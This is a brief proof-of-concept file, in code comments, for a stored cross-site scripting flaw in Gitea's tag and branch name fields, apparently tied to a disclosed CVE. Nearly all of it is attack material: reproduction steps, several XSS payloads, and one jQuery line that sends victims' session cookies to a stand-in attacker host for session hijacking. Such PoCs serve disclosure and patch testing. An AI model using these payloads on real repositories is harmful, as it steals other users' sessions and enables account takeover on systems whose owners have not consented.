// CVE-2025-68942 PoC - Gitea XSS via Tag/Branch Name
// Steps to reproduce:
// 1. Navigate to Gitea repository
// 2. Go to "Create Tag" or "Create Branch" feature
// 3. In the search/name input, inject the following payload:
// Basic script injection payload:
// <script>alert(document.cookie)</script>
// Alternative event handler payload:
// <img src=x onerror=alert('XSS')>
// Example using SVG and onload event:
// <svg onload=alert(document.domain)>
// jQuery-based payload for session hijacking:
// <script>$.getJSON('https://attacker.com/steal?c='+document.cookie)</script>
// The injected script will execute when:
// - Other users view the tag/branch list
// - Users access repository tags/branches page
// - Webhooks or notifications display the tag/branch name
// Note: This PoC demonstrates the vulnerability; actual exploitation
// requires the payload to be stored and rendered via v-html instead of v-text
